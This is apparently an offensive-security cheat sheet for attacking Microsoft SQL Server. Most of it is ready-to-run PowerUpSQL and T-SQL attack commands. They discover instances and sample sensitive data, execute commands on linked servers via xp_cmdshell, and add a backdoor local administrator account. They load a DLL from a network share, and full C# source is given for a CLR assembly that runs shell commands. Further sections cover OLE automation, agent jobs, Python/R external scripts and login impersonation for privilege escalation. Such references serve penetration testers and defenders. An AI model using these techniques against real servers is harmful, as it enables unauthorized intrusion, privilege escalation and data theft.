# MSSQL Server ## Summary * [Identify Instances and Databases](#identifiy-instaces-and-databases) * [Discover Local SQL Server Instances](#discover-local-sql-server-instances) * [Discover Domain SQL Server Instances](#discover-domain-sql-server-instances) * [Discover Remote SQL Server Instances](#discover-remote-sql-instances) * [Identify Encrypted databases](#identifiy-encrypted-databases) * [Version Query](#version-query) * [Identify Sensitive Information](#identify-sensitive-information) * [Get Tables from a Specific Database](#get-tables-from-specific-databases) * [Gather 5 Entries from Each Column](#gather-5-entries-from-each-column) * [Gather 5 Entries from a Specific Table](#gather-5-entries-from-a-specific-table) * [Dump common information from server to files](#dump-common-information-from-server-to-files) * [Linked Database](#linked-database) * [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain) * [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance) * [Query Version of Linked Database](#query-version-of-linked-database) * [Execute Procedure on Linked Database](#execute-procedure-on-linked-database) * [Determine Names of Linked Databases ](#determine-names-of-linked-databases) * [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database) * [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table) * [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column) * [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell) * [Extended Stored Procedure](#extended-stored-procedure) * [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures) * [CLR Assemblies](#clr-assemblies) * [Execute commands using CLR assembly](#execute-commands-using-clr-assembly) * [Manually creating a CLR DLL and importing it](#manually-creating-a-clr-dll-and-importing-it) * [OLE Automation](#ole-automation) * [Execute commands using OLE automation procedures](#execute-commands-using-ole-automation-procedures) * [Agent Jobs](#agent-jobs) * [Execute commands through SQL Agent Job service](#execute-commands-through-sql-agent-job-service) * [List All Jobs](#list-all-jobs) * [External Scripts](#external-scripts) * [Python](#python) * [R](#r) * [Audit Checks](#audit-checks) * [Find and exploit impersonation opportunities](#find-and-exploit-impersonation-opportunities) * [Find databases that have been configured as trustworthy](#find-databases-that-have-been-configured-as-trustworthy) * [Manual SQL Server Queries](#manual-sql-server-queries) * [Query Current User & determine if the user is a sysadmin](#query-current-user--determine-if-the-user-is-a-sysadmin) * [Current Role](#current-role) * [Current DB](#current-db) * [List all tables](#list-all-tables) * [List all databases](#list-all-databases) * [All Logins on Server](#all-logins-on-server) * [All Database Users for a Database](#all-database-users-for-a-database) * [List All Sysadmins](#list-all-sysadmins) * [List All Database Roles](#list-all-database-role) * [Effective Permissions from the Server](#effective-permissions-from-the-server) * [Effective Permissions from the Database](#effective-permissions-from-the-database) * [Find SQL Server Logins Which can be Impersonated for the Current Database](#find-sql-server-logins-which-can-be-impersonated-for-the-current-database) * [Exploiting Impersonation](#exploiting-impersonation) * [Exploiting Nested Impersonation](#exploiting-nested-impersonation) * [References](#references) ## Identify Instances and Databases ### Discover Local SQL Server Instances ```ps1 Get-SQLInstanceLocal ``` ### Discover Domain SQL Server Instances ```ps1 Get-SQLInstanceDomain -Verbose # Get Server Info for Found Instances Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose # Get Database Names Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults ``` ### Discover Remote SQL Server Instances ```ps1 Get-SQLInstanceBroadcast -Verbose Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1 ``` ### Identify Encrypted databases Note: These are automatically decrypted for admins ```ps1 Get-SQLDatabase -Username sa -Password Password1234 -Instance "" -Verbose | Where-Object {$_.is_encrypted -eq "True"} ``` ### Version Query ```ps1 Get-SQLInstanceDomain | Get-Query "select @@version" ``` ## Identify Sensitive Information ### Get Tables from a Specific Database ```ps1 Get-SQLInstanceDomain | Get-SQLTable -DatabaseName -NoDefaults Get Column Details from a Table Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName -TableName ``` ### Gather 5 Entries from Each Column ```ps1 Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "" -Verbose -SampleSize 5 ``` ### Gather 5 Entries from a Specific Table ```ps1 Get-SQLQuery -Instance "" -Query 'select TOP 5 * from .dbo.' ``` ### Dump common information from server to files ```ps1 Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv ``` ## Linked Database ### Crawl Links for Instances in the Domain A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results ```ps1 Get-SQLInstanceDomain | Get-SQLServerLink -Verbose ``` ### Crawl Links for a Specific Instance ```ps1 Get-SQLServerLinkCrawl -Instance "" -Verbose ``` ### Query Version of Linked Database ```ps1 Get-SQLQuery -Instance "" -Query "select * from openquery(`"`",'select @@version')" -Verbose ``` ### Execute Procedure on Linked Database ```ps1 SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local"; SQL> EXECUTE('RECONFIGURE') at "linked.database.local"; SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local"; SQL> EXECUTE('RECONFIGURE') at "linked.database.local"; SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local"; ``` ### Determine Names of Linked Databases > tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query. ```ps1 Get-SQLQuery -Instance "" -Query "select * from openquery(`"`",'select name from sys.databases')" -Verbose ``` ### Determine All the Tables Names from a Selected Linked Database > The result is TableName which feeds into following query ```ps1 Get-SQLQuery -Instance "" -Query "select * from openquery(`"`",'select name from .sys.tables')" -Verbose ``` ### Gather the Top 5 Columns from a Selected Linked Table > The results are ColumnName and ColumnValue which feed into following query ```ps1 Get-SQLQuery -Instance "" -Query "select * from openquery(`"`",'select TOP 5 * from .dbo.')" -Verbose ``` ### Gather Entries from a Selected Linked Column ```ps1 Get-SQLQuery -Instance "" -Query "select * from openquery(`"`"'select * from .dbo. where =')" -Verbose ``` ### Command Execution via xp_cmdshell > xp_cmdshell disabled by default since SQL Server 2005 ```ps1 Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "" -Command whoami Creates and adds local user backup to the local administrators group: Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "" -Command "net user backup Password1234 /add' -Verbose Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "" -Command "net localgroup administrators backup /add" -Verbose ``` ## Extended Stored Procedure ### Add the extended stored procedure and list extended stored procedures ```ps1 Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test Get-SQLQuery -UserName sa -Password Password1234 -Instance "" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'" Get-SQLQuery -UserName sa -Password Password1234 -Instance "" -Query "EXEC xp_test" Get-SQLStoredProcedureXP -Instance "" -Verbose ``` ## CLR Assemblies Prerequisites: * sysadmin privileges * CREATE ASSEMBLY permission (or) * ALTER ASSEMBLY permission (or) ### Execute commands using CLR assembly ```ps1 Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "" -Command "whoami" Verbose or Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "" -Command "powershell -e " -Verbose ``` ### Manually creating a CLR DLL and importing it Create a C# DLL file with the following content, with the command : `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs` ```csharp using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.IO; using System.Diagnostics; using System.Text; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand) { Process proc = new Process(); proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe"; proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); // Create the record and specify the metadata for the columns. SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); // Mark the beginning of the result set. SqlContext.Pipe.SendResultsStart(record); // Set values for each column in the row record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); // Send the row back to the client. SqlContext.Pipe.SendResultsRow(record); // Mark the end of the result set. SqlContext.Pipe.SendResultsEnd(); proc.WaitForExit(); proc.Close(); } }; ``` Then follow these instructions: 1. Enable `show advanced options` on the server ```sql sp_configure 'show advanced options',1; RECONFIGURE GO ``` 2. Enable CLR on the server ```sql sp_configure 'clr enabled',1 RECONFIGURE GO ``` 3. Import the assembly ```sql CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE; ``` 4. Link the assembly to a stored procedure ```sql CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; GO ``` 5. Execute and clean ```sql cmd_exec "whoami" DROP PROCEDURE cmd_exec DROP ASSEMBLY my_assembly ``` **CREATE ASSEMBLY** will also accept an hexadecimal string representation of a CLR DLL ```sql CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000F[TRUNCATED] WITH PERMISSION_SET = UNSAFE GO ``` ## OLE Automation ### Execute commands using OLE automation procedures ```ps1 Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "" -Command "whoami" Verbose ``` ```ps1 # Enable OLE Automation EXEC sp_configure 'show advanced options', 1 EXEC sp_configure reconfigure EXEC sp_configure 'OLE Automation Procedures', 1 EXEC sp_configure reconfigure # Execute commands DECLARE @execmd INT EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c' ``` ```powershell # https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dll python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll' python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll' SQL> enable_ole SQL> upload reciclador.dll C:\windows\temp\reciclador.dll ``` ## Agent Jobs ### Execute commands through SQL Agent Job service ```ps1 Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "" -Command "powershell e " -Verbose Subsystem Options: –Subsystem CmdExec -SubSystem PowerShell –Subsystem VBScript –Subsystem Jscript ``` ### List All Jobs ```ps1 Get-SQLAgentJob -Instance "" -username sa -Password Password1234 -Verbose ``` ## External Scripts :warning: You need to enable **external scripts**. ```sql sp_configure 'external scripts enabled', 1; RECONFIGURE; ``` ## Python: ```ps1 Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "" -Command "powershell -e " -Verbose ``` ## R ```ps1 Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "" -Command "powershell -e " -Verbose ``` ## Audit Checks ### Find and exploit impersonation opportunities * Impersonate as: `EXECUTE AS LOGIN = 'sa'` * Impersonate `dbo` with DB_OWNER ```sql SQL> select is_member('db_owner'); SQL> execute as user = 'dbo' SQL> SELECT is_srvrolemember('sysadmin') ``` ```ps1 Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "" -Exploit -Verbose # impersonate sa account powerpick Get-SQLQuery -Instance "" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug ``` ## Find databases that have been configured as trustworthy ```ps1 Invoke-SQLAuditPrivTrustworthy -Instance "" -Exploit -Verbose ``` > The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound. ```ps1 Invoke-SQLAuditPrivXpDirtree Invoke-SQLUncPathInjection Invoke-SQLAuditPrivXpFileexist ``` ## Manual SQL Server Queries ### Query Current User & determine if the user is a sysadmin ```sql select suser_sname() Select system_user select is_srvrolemember('sysadmin') ``` ### Current Role ```sql Select user ``` ### Current DB ```sql select db_name() ``` ### List all tables ```sql select table_name from information_schema.tables ``` ### List all databases ```sql select name from master..sysdatabases ``` ### All Logins on Server ```sql Select * from sys.server_principals where type_desc != 'SERVER_ROLE' ``` ### All Database Users for a Database ```sql Select * from sys.database_principals where type_desc != 'database_role'; ``` ### List All Sysadmins ```sql SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1 ``` ### List All Database Roles ```sql SELECT DB1.name AS DatabaseRoleName, isnull (DB2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DB1 ON DRM.role_principal_id = DB1.principal_id LEFT OUTER JOIN sys.database_principals AS DB2 ON DRM.member_principal_id = DB2.principal_id WHERE DB1.type = 'R' ORDER BY DB1.name; ``` ### Effective Permissions from the Server ```sql select * from fn_my_permissions(null, 'server'); ``` ### Effective Permissions from the Database ```sql SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE'); ``` ### Find SQL Server Logins Which can be Impersonated for the Current Database ```sql select distinct b.name from sys.server_permissions a inner join sys.server_principals b on a.grantor_principal_id = b.principal_id where a.permission_name = 'impersonate' ``` ### Exploiting Impersonation ```sql SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') EXECUTE AS LOGIN = 'adminuser' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') SELECT ORIGINAL_LOGIN() ``` ### Exploiting Nested Impersonation ```sql SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') EXECUTE AS LOGIN = 'stduser' SELECT SYSTEM_USER EXECUTE AS LOGIN = 'sa' SELECT IS_SRVROLEMEMBER('sysadmin') SELECT ORIGINAL_LOGIN() SELECT SYSTEM_USER ``` ## References * [PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt](https://medium.com/@D00MFist/powerupsql-cheat-sheet-sql-server-queries-40e1c418edc3) * [PowerUpSQL Cheat Sheet - Scott Sutherland](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet) * [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/)